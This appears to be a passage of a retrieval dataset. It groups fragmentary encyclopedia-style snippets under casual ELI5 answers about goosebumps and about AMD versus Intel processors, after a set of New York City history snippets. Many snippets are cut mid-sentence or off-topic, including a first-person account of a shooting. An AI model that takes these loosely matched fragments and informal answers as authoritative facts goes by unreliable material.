demographics as urban decline and post-war prosperity of the 1950s led to greater suburbanization in New Jersey. Relatively stable, the population was decreasing. In many ways, influx of new residents led to a changing of the guard that helped save the area from the more severe downward spiral being experienced in older urban areas throughout the New York metropolitan area. First wave In the last half-century, several hundred thousand Cubans of all social classes have emigrated to the United States. In the immediate aftermath of the Cuban", "and a straight man that sparked appreciable media attention, with strong statements defending both sides of the case. Preservation Since the end of the twentieth century, many artists and local historians have mourned the fact that the bohemian days of Greenwich Village are long gone, because of the extraordinarily high housing costs in the neighborhood. The artists fled to other New York City neighborhoods including SoHo, Tribeca, Dumbo, Williamsburg, and Long Island City. Nevertheless, residents of Greenwich Village still possess a strong community identity and are proud of their neighborhood's unique history and fame, and its well-known liberal live-and-let-live attitudes.\nHistorically,", "from the rest of New York City. Overcrowding became common, with up to one million people filling the island on the hottest days. In May 1921, the state legislature voted to give the city the right to acquire any uplands facing the Atlantic Ocean on Coney Island, as well as on Queens' Rockaway Peninsula west of Beach 25th Street in Far Rockaway, Queens. In preparation for this action, the city held meetings on the initial boardwalk design in 1919, approved a plan in 1920, and obtained title to the land in October 1921. A groundbreaking ceremony was hosted the same", "Staten Island remained less developed than the rest of the city. A New York Times article in 1972 stated that despite the borough having 333,000 residents, parts of the island still maintained a bucolic atmosphere with woods and marshes.\nThroughout the 1980s, a movement to secede from the city (notably championed by longtime New York State Senator and former Republican Party mayoral nominee John J. Marchi) steadily grew in popularity, reaching its peak during the mayoral term of David Dinkins. In a 1993 referendum, 65% voted to secede, but implementation was blocked in the State Assembly.\nIn the 1980s, the United States", "at The New Yorker magazine; and such nationally famous sports heroes as Babe Ruth and Bill Tilden.\nFun-loving Tammany Mayor Jimmy Walker presided over a period of prosperity for the city, with the proliferation of the speakeasy during Prohibition.\nTin Pan Alley developed toward Broadway, and the first modern musical, Jerome Kern's Show Boat, opened in 1927, as the theater district moved north of 42nd Street.\nDuring this time, New York City became known for its daring and impressive architecture, including notably the skyscrapers which transformed the skyline. The race to the sky culminated in the dueling spires of two Art Deco icons—the", "71,000 people, many of them African American shipbuilders. As a result, the demand for housing in the area increased, prompting the New York City Housing Authority to build the Walt Whitman and Raymond Ingersoll public housing on Myrtle Avenue in 1944.\nBy the early 1970s the vitality of Myrtle Avenue began to decline, mainly because of the decommissioning of the Brooklyn Navy Yard and the curtailing of the elevated railway. At its nadir of decline, the street became known to many Brooklynites as \"Murder Avenue\".\nIn the 1990s the western end of Myrtle Avenue was closed from Jay Street to Flatbush Avenue", "In her observations of this transformation, Carlo questions the motives of those who led the effort to make this area \"the beautiful oasis it is today.\" In cleaning up the area surrounding Prospect Park, did such groups also hope to scrub out long-time residents and racial minorities, as well as the unique culture they had created? Overall, reflections on the past in There Goes the Neighborhood and Carlo's other works provide more than just moments of nostalgia for New York natives. They chronicle the evolution of an entire city, and how these changes affect entire groups of people and the", "and threatened with losing the city. There is a lot of redemption in this show, but it takes a very harsh look at New York and how hard it is to live there.\" Strouse said that he wanted to write a musical that \"filtered New York sounds through it.\" The musical has music \"alternating contemporary pop with ragtime, jazz and other styles, each carefully chosen to evoke a mood or characterize a class of people illustrative of New York.\" Production The Off-Broadway production was directed by Jeffrey B. Moss and choreographed by Strouse's wife, Barbara Siman. It opened on May", "feeling of intimacy, for all the expected splendor, partly because of the encircling sweep of Manhattan lights through the tall windows 65 stories above the street.\" A 1988 edition of Restaurant Business stated that \"the Rainbow Room immediately became the dining/dancing mecca of sophisticated New Yorkers\" immediately after it opened.\nIn 1989, New York magazine mentioned that the Zagat Survey had rated the Rainbow Room as having the best decor in New York City. New York itself later described the Rainbow Room as \"one place true New Yorkers expect never to visit. Except, of course, when you have to: For a", "area, it is still one of the most commonly visited parks in Rockland County today.\nNew City remained rural in character until the 1950s, when the idea of post-World War II suburbia, as well as the opening of the Tappan Zee Bridge and Palisades Interstate Parkway, made traveling between New York City and Rockland County faster, and easier; and many former New York City residents migrated to Rockland, which transformed New City from a quiet rural community to a busy populated suburb of New York City. Along with residential development, business development increased rapidly as well. The downtown area became home", "that the cultural sector was as severely affected as the travel and airline industries. Nevertheless, governmental and institutional recovery efforts had not contributed to the arts sector, and weaknesses in the cultural economy had caused some artists to start doing other work, and caused others to move elsewhere. The surveys inspired a series of later investigations into weaknesses in the arts and cultural economy in New York City. Personal life Slaff lives in Greenwich Village with his family. He is married to actress Shirley Curtin and has a daughter named Julia.", "New York City, the choice of cities was unconventional. Smith said, \"This is more like the old-school music tours. Different clubs, different cities, meeting people. You get in touch with what people are feeling and thinking, and it's much more personal when you're actually out shaking hands.\" The actor sought to \"get reacquainted\" with an America that he felt had an \"openness to change\" with the country's election of Barack Obama as the first African-American president.\nThe film was released on December 19, 2008, in 2,758 theaters in the United States and Canada. It grossed an estimated US$16 million, placing second at", "New Jersey Performing Arts Center History The State of New Jersey decided to build a world class performing arts center in 1986, when then Governor of New Jersey Thomas Kean appointed a committee to decide the location and the needs of New Jersey's performing arts organization. They chose Newark over other cities because of the density of the surrounding areas, proximity to New York City, highway and rail access to the site, and a location inside a city in need of revitalization. The last reason was considered especially important. A major goal of NJPAC was to help revitalize the city,", "be affected by multitudinous varieties of temperament, race, character.”\nNew York was tolerant of iconoclasts and of people with just the sort of notoriety Ludlow had cultivated. “No amount of eccentricity surprises a New-Yorker, or makes him uncourteous. It is difficult to attract even a crowd of boys on Broadway by an odd figure, face, manner, or costume. This has the result of making New York an asylum for all who love their neighbor as themselves, but would a little rather not have him looking through the key-hole.”\nThe late 1850s and early 1860s found Ludlow in just about every literary quarter", "a broader audience and chapters in 30 cities including three branches in New York City, the port of entry for the majority of Puerto Rican migrants.\nDuring Mayor Daley's tenure in Chicago, Puerto Ricans in Lincoln Park and several Mexican communities were evicted from prime real estate areas near the Loop, Lakefront, Old Town, and Lakeview neighborhoods. The rationale was to increase property tax revenues by luring White suburbanites and creating a suburb within the city. The urban renewal resulted in the eviction of Latino and poor families from their neighborhoods and increased police abuses. Some Young Lords were involved in" ]

[ "I am pretty sure it is the feeling of all the tiny hairs on your body standing up. They do this when you are cold because the little hairs trap a very small layer of air between your hair and the skin that insulates you and helps prevent heat loss. The felling is them all reacting at once. Not so sure why it happens with pressure change and fear, i just know that it does ( i get the feeling too ) On top of that it will also be the feeling of all your blood vessels contracting at once. ( they do so that there is less blood flow to the very surface of the skin and therefore less heat loss ) It is basically your body reacting to the cold to keep you warm.\n\nEdit - Formatting", "What about wee? Why do I get wee shivers?!" ]

[ "\"shiver down the spine.\"", "The Tingler Plot A pathologist, Dr. Warren Chapin (Price), discovers that the tingling of the spine in states of extreme fear is due to the growth of a creature that every human being seems to have, called a \"tingler\", a parasite attached to the human spine. It curls up, feeds and grows stronger when its host is afraid, effectively crushing the person's spine if curled up long enough. The host can weaken the creature and stop its curling by screaming.\nMovie theater owner Oliver Higgins (Coolidge), who shows exclusively silent films, is an acquaintance of Dr. Chapin. Higgins's wife Martha (Evelyn),", "not the major problem in the early stages of exposure as other stresses are more immediately life-threatening.\nCold shock response is the initial reaction to immersion in cold water. It generally starts with a gasp reflex in response to sudden and rapid chilling of the skin, and if the head is immersed there is a risk of inhaling water and drowning. This is followed by a reflexive hyperventilation, with a risk of panic and fainting if not controlled. Cold induced vasoconstriction causes the heart to work harder and the additional work can overload a weak heart, with a possible consequence of", "Shiver (2003 film) Plot Regional Crime Unit officer Chan Kwok-ming (Francis Ng) and his wife, Sammi Mok (Athena Chu) were on the way to finalize their proceedings for separation where an armed robbery breaks out in the streets. Kwok-ming steps in to assist in hunting the criminals, but Sammi was hit by a stray bullet and was seriously injured, leading her into a coma. Several months later, Sammi awakes from her coma. Sammi's doctor, Ko Chuen (Nick Cheung) warns her to be especially careful with her body as her blood type is very rare.\nSince Kwok-ming is often busy and handling", "an effect where a wind chill may form ice while the surrounding temperature remains above freezing.", "of nerves, commonly caused by leaning or resting on parts of the body such as the legs (often followed by a pins and needles tingling sensation). Other causes include conditions such as hyperventilation syndrome and panic attacks. A cold sore outside the mouth (not a canker sore inside the mouth) can be preceded by tingling because a cold sore is caused by herpes simplex virus. The varicella zoster virus (shingles) also notably may cause recurring pain and tingling in skin or tissue along the distribution path of that nerve (most commonly in the skin, along a dermatome pattern, but", "shell, pulled the clip out. Well, then I shot her in the head. I felt her pulse, I could still feel it. I though, Oh, my God, I loused it up. I went back to the shop. This time I was shaking. I wasn't cold as ice at all. Back to the shop, put another round in the gun, came back, put another bullet in her head.\nThe only comforting thing, the first shot there was no convulsive reaction, just her right hand shook like that fast and her head went over the impacted bullet and it slowly came down, didn't", "Paresthesia Transient Paresthesias of the hands, feet, legs and arms are common, transient symptoms. The briefest, electric shock type of paresthesia can be caused by tweaking the ulnar nerve near the elbow. Similar brief shocks can be experienced when any other nerve is tweaked (a tweaked neck nerve may cause a brief shock-like paresthesia toward the scalp). In the older age group, spinal column irregularities may tweak the spinal cord briefly when the head or back is turned, flexed, or extended into brief uncommon positions (Lhermitte's sign).\nThe most common, everyday cause is temporary restriction of nerve impulses to an area", "Cold shock response Cold shock response is the physiological response of organisms to sudden cold, especially cold water.\nIn animals, cold shock response is perhaps the most common cause of death from immersion in very cold water, such as by falling through thin ice. The immediate shock of the cold causes involuntary inhalation, which if underwater can result in drowning. The cold water can also cause heart attack due to vasoconstriction; the heart has to work harder to pump the same volume of blood throughout the body. For people with existing cardiovascular disease, the additional workload can result in cardiac", "Heat syncope Signs and symptoms Faintness, dizziness, headache, increased pulse, restlessness, nausea, vomiting, and brief loss of consciousness. Causes Heat syncope occurs in a warm environment when blood pressure is lowered as the body dilates (widens) arterioles (small blood vessels) in the skin to radiate heat. This condition occurs within five days of heat acclimatization, before the blood volume expands. The result is less blood to the brain, causing light-headedness and fainting when a person stands up quickly or stands for a long period of time. Those who perform strenuous work outside in warm climates are at particular risk.", "as rotation and these momenta continue as the person falls, causing a sensation of dysphoria. The faller doesn't fall straight down but spins, flips, etc. due to these residual momenta and also due to the asymmetric forces of air resistance on their asymmetric body. While velocity continues to increase, the downward acceleration due to gravity remains constant. Increasing drag force may even cause a feeling of ascent.\nThe vestibular apparatus also detects spatial orientation with respect to visual input. A similar sensation of falling can be induced when the eyes detect rapid apparent motion with respect to the environment. This", "response are mediated by the reward system and sympathetic nervous system, respectively. The stimuli that produce this response are unique to each individual.\nFrisson is of short duration, lasting only a few seconds. Typical stimuli include loud passages of music and passages—such as appoggiaturas and sudden modulation—that violate some level of musical expectation. During a frisson, a sensation of chills or tingling felt on the skin of the lower back, shoulders, neck, and/or arms. The sensation of chills is sometimes experienced as a series of 'waves' moving up the back in rapid succession and commonly described as \"shivers up the spine\".", "Wind chill warning A wind chill warning is issued by Environment Canada or the National Weather Service of the United States when the wind chill is low enough that it becomes life-threatening.\nIn the United States, the exact definition varies from state to state or between National Weather Service county warning areas, and a warning is used to express more severe conditions than a wind chill advisory. If going outside, people should make sure to take extra precaution against hypothermia and frostbite by wearing multiple layers as well as a hat and gloves.\nIn the event that extreme wind chills are expected", "Exposure Cold shock response is the physiological response of organisms to sudden cold, especially cold water, and is a common cause of death from immersion in very cold water, such as by falling through thin ice. The immediate shock of the cold causes involuntary inhalation, which if underwater can result in drowning. The cold water can also cause heart attack due to vasoconstriction; the heart has to work harder to pump the same volume of blood throughout the body, and for people with heart disease, this additional workload can cause the heart to go into arrest. A person who survives", "WARNING MEANS THE COMBINATION OF VERY COLD AIR AND\nSTRONG WINDS WILL CREATE DANGEROUSLY LOW WIND CHILL VALUES. THIS\nWILL RESULT IN FROST BITE AND LEAD TO HYPOTHERMIA IF PRECAUTIONS\nARE NOT TAKEN. PERSONS SHOULD AVOID GOING OUTDOORS AND WEAR WARM\nPROTECTIVE CLOTHING IF THEY MUST VENTURE OUTSIDE.\n\n$$ Sample PDS Wind Chill Warning The following is an example of a particularly dangerous situation Wind Chill Warning issued by the National Weather Service office in Chanhassen, Minnesota.\n\nWWUS43 KMPX 050957\nWSWMPX\n\nURGENT - WINTER WEATHER MESSAGE\nNATIONAL WEATHER SERVICE TWIN CITIES/CHANHASSEN MN\n357 AM CST SUN JAN 5 2014\n\n...HISTORIC AND LIFE-THREATENING COLD AIR HAS ARRIVED...\n...THIS IS A PARTICULARLY DANGEROUS SITUATION...\n\n.THE", "CHILL VALUES. WIND CHILL READINGS WILL\nDIP TO AROUND -20 TONIGHT AND THURSDAY. THE HEART OF THE ARCTIC\nAIRMASS WILL SETTLE ACROSS THE REGION BEGINNING LATE THURSDAY AND\nCONTINUING INTO EARLY SATURDAY. THE ADDITION OF A PERSISTENT WIND\nDURING THAT TIME WILL PROPEL WIND CHILL VALUES BELOW -25 DEGREES.\n\nA WIND CHILL ADVISORY MEANS THAT VERY COLD AIR AND STRONG WINDS\nWILL COMBINE TO GENERATE LOW WIND CHILLS. THIS WILL RESULT IN\nFROST BITE AND LEAD TO HYPOTHERMIA IF PRECAUTIONS ARE NOT TAKEN. \nIF YOU MUST VENTURE OUTDOORS...MAKE SURE YOU WEAR A HAT AND\nGLOVES.\n\nA WIND CHILL WATCH MEANS THERE IS THE POTENTIAL FOR A COMBINATION\nOF VERY COLD", "the temperature or the wind chill being a certain value for at least two hours. The values range from −30 °C (−22 °F) in the south to −55 °C (−67 °F) in parts of the Arctic. United States In the United States an extreme cold warning was an experimental weather warning issued by the National Weather Service in North Dakota, South Dakota, and Minnesota. The warning was issued if the temperature fell to −35 °F (−37 °C) or colder with a wind of less than 5 mph (8 km/h; 2 m/s). It was an experimental advisory for when the air temperature was dangerously cold, but the wind was", "reportedly heard Capone twanging his banjo in the shower. Ranger Lori Brosnan has said that many visitors have reported feeling a cold chill when walking through the shower room, and one visitor reported feeling fingers on the back of his neck, but turned around and nobody was there. Brosnan herself has reported unexplained sounds such as cell doors moving in the night when the vices were locked tight and only she had the keys. Other rangers have also reported doors opening on their own accord, whispering sounds in cells, and the sounds of a harmonica. Ghostly voices from the hospital", "and rhomboid area). Discoloration of the hands, one hand colder than the other hand, weakness of the hand and arm muscles, and tingling are commonly present.\nTOS is often the underlying cause of refractory upper limb conditions like frozen shoulder and carpal tunnel syndrome that frequently defy standard treatment protocols. TOS can be related to Forward head posture.\nA painful, swollen and blue arm, particularly when occurring after strenuous physical activity, could be the first sign of a subclavian vein compression related with an unknown TOS and complicated by thrombosis (blood clots), the so-called Paget–Schroetter syndrome or effort-induced thrombosis.\nTOS can be related", "the head or body lasts, and irregular afferent signals occur when the head is moved more violently, such as in falling. Function The righting reflex involves complex muscular movements in response to a stimulus. When startled, the brain can evoke anticipatory postural adjustments, or a series of muscle movements, which involves the function of the midbrain. However, the mechanisms of such an origin are yet to be elucidated. Data support the generation of these movements from circuits in the spine connected to the supplementary motor area, the basal ganglia, and the reticular formation. Reference frames Visual input for proper righting", "BELOW...WITH THE COLDEST READINGS\n TONIGHT AND MONDAY MORNING.\n\n* IMPACTS: EXPOSED FLESH WILL FREEZE IN 10 MINUTES WITH WIND\n CHILLS OF 35 BELOW...AND IN 5 MINUTES WITH WIND CHILLS OF 50\n BELOW OR COLDER.\n\n* OTHER IMPACTS...WINDS GUSTING BETWEEN 35 AND 45 MPH THIS\n AFTERNOON AND TONIGHT WILL LEAD TO BLOWING SNOW WITH\n VISIBILITIES OCCASIONALLY DROPPING TO 1/2 MILE OR LESS IN NEAR\n BLIZZARD CONDITIONS. SHOULD YOUR VEHICLE BECOME STRANDED...YOUR\n LIFE WILL BE AT RISK. CONSIDER POSTPONING ALL TRAVEL.\n\nPRECAUTIONARY/PREPAREDNESS ACTIONS...\n\nA WIND CHILL WARNING MEANS THE COMBINATION OF VERY COLD AIR AND\nSTRONG WINDS WILL CREATE DANGEROUSLY", "nod; both the arms may fling out together and simultaneously a head nod may occur. Symptoms have some variability amongst subjects. Sometimes the entire body may jerk, just like a startle response. As is the case with all generalised seizures, the patient is not conscious during the event but the seizure is so brief that the person appears to remain fully conscious.\nIn reflex epilepsies, myoclonic seizures can be brought on by flashing lights or other environmental triggers (see photosensitive epilepsy).\nFamiliar examples of normal myoclonus include hiccups and hypnic jerks that some people experience while drifting off to sleep. Severe cases", "autumn weather ended up sending temperatures to freezing levels. At one point, the cold weather was so bad that it caused Shoop's jaw to dislocate during one of her screaming scenes and she had to be sent to the hospital to be treated.", "contract, bringing the head down and shoulders up, while the back muscles draw the spine into a concave curve. This, in turn, pushes the pelvis forward and pulls the genitals up, slumping the body into a classic fetal position\".\nIn trying to resist this position, the body will begin to shake in places such as the legs and hands. Several other things happen besides this. Muscles in the body contract, causing them to be tense and ready to attack. Second, \"blood vessels in the extremities constrict\". This can leave a person with the feeling of cold fingers, toes, nose, and ears.", "as the slide occurred during a protracted period of sub-zero temperatures in the winter, though some have suggested that freezing of seepage exit points may have caused an increase in water pressure at the toe of the slide. Aircraft On August 13, 1965, an aircraft piloted by S.W.K. Stevenson crashed, killing him.\nOn April 23, 1966, a Royal Canadian Air Force Grumman CSR-110 Albatross (9302) serving with No. 121 Composite Unit (KU) at RCAF Station Comox, BC crashed on the Hope Slide. It was the only RCAF Albatross loss. Five of the six crew members died (Squadron Leader James", "Holmes tremor Holmes tremor, first identified by Gordon Holmes in 1904, can be described as a wing-beating movement localized in the upper body that is caused by cerebellar damage. Holmes tremor is a combination of rest, action, and postural tremors. Tremor frequency ranges from 2 to 5 Hertz and is aggravated with posture and movement. It may arise from various underlying structural disorders including stroke, tumors, trauma, and other cerebellar lesions. Because Holmes tremor is rare, much of the research is based on individual cases.\nThe formation of tremors is due to two main factors: the over-excited rhythmic movement of neuronal", "is crucial to ensure the ground shaking is not able to cause any unaffordable damages. Human anxiety Human anxiety is another factor in determining the risk of induced seismicity. Anxiety refers to the human concern created by low-level ground shaking. Because injection-induced seismicity is generally of a small magnitude and short duration, human anxiety is often the only or primary hazard associated with felt events. Probabilistic seismic hazard analysis Probabilistic Seismic Hazard Analysis (PSHA) is aimed to quantify the possibility of the ground motion reaching certain arbitrary levels or thresholds at a site when taking all the possible earthquakes (both", "cause effects right at the site, enough to jar people awake.\nSome reports have indicated the presence of \"distant flashing lights\" before or during a cryoseism, possibly because of electrical changes when rocks are compressed. Cracks and fissures may also appear as surface areas contract and split apart from the cold. The sometime superficial to moderate occurrences may range from a few centimeters to several kilometers long, with either singular or multiple linear fracturing and vertical or lateral displacement possible. Location Geocryological processes were identified as a possible cause of tremors as early as 1818. In the United States, such events", "instant in opposition to it, and railing against it, have instantaneously laid motionless on the ground. Some feel the approaching symptoms by being under deep convictions; their heart swells, their nerves relax, and in an instant they become motionless and speechless, but generally retain their senses. . . He went on to describe other manifestations which continued from \"one hour to 24\". \n\nPatterson continued; \n \"In order to give you a more just conception of it, suppose so large a congregation assembled in the woods, ministers preaching day and night; the camp illuminated with candles, on trees, at wagons, and", " PRECAUTIONS ARE NOT TAKEN. \n\nHAZARDOUS WEATHER...\n\n * WIND CHILLS ARE EXPECTED TO FALL BETWEEN -15 AND -20 DEGREES\n LATE TONIGHT THROUGH TOMORROW MORNING.\n\nPRECAUTIONARY/PREPAREDNESS ACTIONS...\n\n * A WIND CHILL ADVISORY MEANS THAT VERY COLD AIR AND STRONG\nWINDS WILL COMBINE TO GENERATE LOW WIND CHILLS. THIS WILL RESULT\nIN FROST BITE AND LEAD TO HYPOTHERMIA IF PRECAUTIONS ARE NOT\nTAKEN. IF YOU MUST VENTURE OUTDOORS...MAKE SURE YOU WEAR A HAT\nAND GLOVES.\n\n&&\n\n$$\n\nRK" ]

[ "The biggest difference is one you'll almost certainly never see - the internal architecture of the processor. AMD and Intel both work to a standard (well, two standards - x86 for 32 bit computing and x64 for 64 bit computing) but how they actually go about achieving that standard differs drastically even from processor to processor by the same manufacturer. Imagine two car manufacturers- one might try improving their cars by shedding excess weight and making the engine more efficient, while the other might just keep sticking in a bigger engine. It's not a great analogy, but even the basics of CPUs are quite tough for an ELI5 question ( _URL_0_ )\n\nAt the moment, AMD's architecture is such that their top end processors can't really compete with Intel in performance, but as a low to mid range processor they're very competitive on price. AMD are working on getting back in the high end, but it might take them a while." ]

[ "die as the CPU. AMD markets CPUs with integrated graphics under the trademark Accelerated Processing Unit (APU), while Intel markets similar technology under the \"Intel HD Graphics and Iris\" brands. With the 8th Generation Processors, Intel announced the Intel UHD series of Integrated Graphics for better support of 4K Displays. Although they are still not equivalent to the performance of discrete solutions, Intel's HD Graphics platform provides performance approaching discrete mid-range graphics, and AMD APU technology has been adopted by both the PlayStation 4 and Xbox One video game consoles. Power demand As the processing power of video cards has", "AMD Athlon, AMD Turion, and Mobile AMD Sempron processors to its embedded product line. Leveraging the same 64-bit instruction set and Direct Connect Architecture as the AMD Opteron but at lower power levels, these processors were well suited to a variety of traditional embedded applications. Throughout 2007 and into 2008, AMD has continued to add both single-core Mobile AMD Sempron and AMD Athlon processors and dual-core AMD Athlon X2 and AMD Turion processors to its embedded product line and now offers embedded 64-bit solutions starting with 8W TDP Mobile AMD Sempron and AMD Athlon processors for fan-less designs up to", "and AMD compete directly with their customer/partners complicates relationships in the industry. The fact that AMD and Intel are direct competitors in the CPU industry is also noteworthy, since AMD-based video cards may be used in computers with Intel CPUs. Intel's move to APUs may weaken AMD, which until now has derived a significant portion of its revenue from graphics components. As of the second quarter of 2013, there were 52 AIB suppliers. These AIB suppliers may market video cards under their own brands, or produce video cards for private label brands or produce video cards for computer manufacturers. Some", "the Athlon 64 X2 inherited mature multi-core control logic from the multi-core Opteron, the Pentium D was seemingly rushed to production and essentially consisted of two CPUs in the same package. Indeed, shortly after the launch of the mainstream Pentium D branded processors (26 May 2005) and the Athlon 64 X2 (31 May 2005), a consensus arose that AMD's implementation of multi-core was superior to that of the Pentium D. As a result of this and other factors, AMD surpassed Intel in CPU sales at US retail stores for a period of time, although Intel retained overall market leadership because", "AMD Am29000 (29k) processor; the 29k survived as an embedded processor. The company also increased its EPROM memory market share in the late 1980s. Throughout the 1980s, AMD was a second-source supplier of Intel x86 processors. In 1991, it introduced its own 386-compatible Am386, an AMD-designed chip. Creating its own chips, AMD began to compete directly with Intel.\nAMD had a large and successful flash memory business, even during the dotcom bust. In 2003, to divest some manufacturing and aid its overall cash flow, which was under duress from aggressive microprocessor competition from Intel, AMD spun off its flash memory business", "Intel. AMD processors offered include the Athlon II dual-core, the Turion II Dual-Core, and Phenom II Triple-core. Intel processors used include the Core 2 Duo, Core i3, and Core i5.\nVoice Over IP (VoIP) features including high resolution cameras and an HD LED screen are also included. All four models offer a glossy LED back-lit 16:9 display capable of playing 720p video. However the Edge 11 and 13 does not include an optical drive. The laptops came in three colors: Midnight Black (Smooth), Midnight Black (Gloss), and Heatwave Red (Gloss). Design Lenovo designed the laptops to \"reflect a new progressive and", "processors changed when the Core 2 line of processors were released. By 2009, Intel was using a good-better-best strategy with Celeron being good, Pentium better, and the Intel Core family representing the best the company has to offer.\nAccording to spokesman Bill Calder, Intel has maintained only the Celeron brand, the Atom brand for netbooks and the vPro lineup for businesses. Since late 2009, Intel's mainstream processors have been called Celeron, Pentium, Core i3, Core i5, and Core i7, in order of performance from lowest to highest. The first generation core products carry a 3 digit name, such as i5 750,", "Intel's main competitor in the computer hardware industry but its micro-processor product, K5, that has been positioned to be response to Intel's Pentium Processor, had failed to deliver on its promise. Dham convinced the NexGen management to explore what appeared to be a perfect synergy for merging the two companies-NexGen had a product but no factories and process technology; whereas AMD had a factory and advanced technology but no product!His insights proved right and AMD acquired NexGen's product and process technology for a tidy sum of US$857 million.AMD's next product, K6, was built using NexGen's core technology. For a short", "Intel 5 Series Intel 5 Series is a computing architecture introduced in 2008 that improves the efficiency and balances the use of communication channels in the motherboard. The architecture consists primarily of a central processing unit (CPU) (connected to the graphics card and memory) and a single chipset (connected to motherboard components). All motherboard communications and activities circle around these two devices.\nThe architecture is a product of adjustments made to the Intel 4 Series to deliver higher performance motherboards while maintaining efficiency and low power. The changes revolve around chipset and processor design, in conjunction with a rearrangement of functions", "AMD Radeon GPU, and HBM2 memory. AMD motherboard chipsets Before the launch of Athlon 64 processors in 2003, AMD designed chipsets for their processors spanning the K6 and K7 processor generations. The chipsets include the AMD-640, AMD-751 and the AMD-761 chipsets. The situation changed in 2003 with the release of Athlon 64 processors, and AMD chose not to further design its own chipsets for its desktop processors while opening the desktop platform to allow other firms to design chipsets. This was the \"Open Platform Management Architecture\" with ATI, VIA and SiS developing their own chipset for Athlon 64 processors and", "AMD introduced a scheme to characterize the power consumption of new processors under \"average\" daily usage, named average CPU power (ACP). Socket FT3 The Opteron X1150 and Opteron X2150 APU are used with the BGA-769 or Socket FT3. Recognition In the February 2010 issue of Custom PC (a UK-based computing magazine focused on PC hardware), the AMD Opteron 144 (released in Summer 2005) appeared in the \"Hardware Hall of Fame\". It was described as \"The best overclocker's CPU ever made\" due to its low cost and ability to run at speeds far beyond its stock speed. (According to Custom PC,", "Alpha R2. The R2 adds 6th generation Intel processors, a choice of either the AMD Radeon R9 M470X or Nvidia GeForce 960 graphics cards, and support for Alienware's proprietary Graphics Amplifier. It also ships with Windows 10. Graphics Amplifier The Graphics Amplifier allows an Alienware laptop to run most full length (or smaller, non-hybrid) desktop GPUs.", "a non-recurring engineering fee for design and development, and a purchase price for the resulting semi-custom products. In particular, AMD noted their unique position of offering both x86 and graphics intellectual property. These semi-custom designs would have design wins as the APUs in the PlayStation 4 and Xbox One and the subsequent PlayStation 4 Pro, Xbox One S, and Xbox One X. Financially, these semi-custom products would represent a majority of the company's revenue in 2016. In November 2017, AMD and Intel announced that Intel would market a product combining in a single package an Intel Core CPU, a semi-custom", "multi-processor systems leveraging multi-core AMD Opteron processors all supporting longer than standard availability.\nThe ATI acquisition in 2006 included the Imageon and Xilleon product lines. In late 2008, the entire handheld division was sold off to Qualcomm, who have since produced the Adreno series. Also in 2008, the Xilleon division was sold to Broadcom.\nIn April 2007, AMD announced the release of the M690T integrated graphics chipset for embedded designs. This enabled AMD to offer complete processor and chipset solutions targeted at embedded applications requiring high-performance 3D and video such as emerging digital signage, kiosk and Point of Sale applications. The M690T", "consumer platforms.\nIn May 2007, AMD officially codenamed the eight core setup with two Phenom FX processors to be the FASN8 (pronounced as \"fascinate\", /ˈfæsɪneɪt/, in short for First AMD Silicon Next-gen 8-core Platform) from the previous codename \"4x4+\" used in Analyst Day presentations. Configuration In each socket resides an AMD Athlon 64 FX CPU. Each socket is connected using AMD's Direct Chip Module, this dual-processor architecture was dubbed by AMD as the \"Dual Socket Direct Connect Architecture\" (DSDC Architecture), providing a dedicated channel between the CPU cores and from each CPU out to the system memory. Due to the nature", "re-design that marked the return of AMD to the high-end CPU market, offering a product stack able to compete with Intel at every level. Having more processing cores, Ryzen processors offer greater multi-threaded performance at the same price point relative to Intel's Core processors. The Zen architecture delivers more than 52% improvement in instructions-per-clock cycle over the previous-generation Bulldozer AMD core, without increasing power consumption. Since the release of Ryzen, AMD's CPU market share has increased while Intel appears to have stagnated. APUs: Picasso Picasso is the 12nm refresh of Raven Ridge, offering a modest increase in clock speeds (up", "the market and about 23% revenue share of the firm during Q3 2007 while competing with the Intel Centrino platform. Figures for Q1 and Q2 2007 are 15% and 17% unit share, accounting for 14% and 16% of the company's revenue respectively.\nAMD's mobile platform, even as recent as the Turion 64 X2 platform, has been criticized as consistently performing worse than Intel's Centrino in all areas: system speed, heat dissipation, and battery life.", "contemporary AMD processors and older Intel processors. It is used in the G1, G2, and G3 sockets.", "more markets some time ago. The triple-core processor still see the same specifications for quad-core variants, the naming of the processor lineup, according to the AMD branding scheme, will be named as Phenom triple-core 8000 series, the processor line will be focused on what AMD called the fourth market segment or the \"High-end Mainstream\" segment beside Value, Mainstream and Performance segments in an interview with BetaNews, which the targeted customers of the processors are \"those who are willing to pay more for more performance but not required for too much processing power as required by gamers and system builders\", while", "The AMD Phenom ranged from 80 W in the x2 variant to 95 and 125 W in the quad-core variants. The AMD Bulldozer CPUs range from 95–125 W. The APUs range from 65 W for the lower-end dual-core variants, such as the A4, to 100 W in the higher-end quad-core variants, such as the A8. Some processors come in special low power versions. For example, Intel's lower TDP CPUs end in T (35 W) or S (65 W). Power supply Power supply (PSU) is made quieter through the use of higher efficiency (which reduces waste heat and need for airflow), quieter fans, more intelligent fan controllers (ones", "AMD Am29000 The AMD Am29000, commonly shortened to 29k, is a family of 32-bit RISC microprocessors and microcontrollers developed and fabricated by Advanced Micro Devices (AMD). Based on the seminal Berkeley RISC, the 29k added a number of significant improvements. They were, for a time, the most popular RISC chips on the market, widely used in laser printers from a variety of manufacturers.\nSeveral versions were introduced during the period from 1988 to 1995, beginning with the 29000. The final model, the 29050, was the first superscalar version, retiring up to four instructions per cycle, and also including a greatly improved", "emulate x2APIC for older processors that do not physically support it, going back to Conroe and even for AMD Opteron G-series processors (neither of which natively support x2APIC).\nAPICv is the Intel's brand name for hardware virtualization support aimed at reducing interrupt overhead in guests. APICv was introduced in the Ivy Bridge-EP processor series, which is sold as Xeon E5-26xx v2 (launched in late 2013) and as Xeon E5-46xx v2 (launched in early 2014). AMD announced a similar technology called AVIC, it is available family 15h models 6Xh (Carrizo) processors and newer. Competition AMD and Cyrix once proposed a somewhat", "their Am386 in March 1991. This also paved the way for competition in the 80386-compatible 32-bit CPU market and so lowered the cost of owning a PC.\nWhile Intel's 386 CPUs had topped out at 33 MHz in 1989, AMD introduced 40 MHz versions of both its 386DX and 386SX out of the gate, extending the lifespan of the architecture. In the following two years the AMD 386DX-40 saw popularity with small manufacturers of PC clones and with budget-minded computer enthusiasts because it offered near-80486 performance at a much lower price than an actual 486. Generally the 386DX-40 performs nearly on par", "of 64-bit computing in its processors. Further updates involved improvements to the microarchitecture, and a shift of target market from mainstream desktop systems to value dual-core desktop systems. In 2008, AMD started to release dual-core Sempron processors exclusively in China, branded as the Sempron 2000 series, with lower HyperTransport speed and smaller L2 cache. Thus AMD completed its dual-core product portfolio for each market segment.\nAfter K8 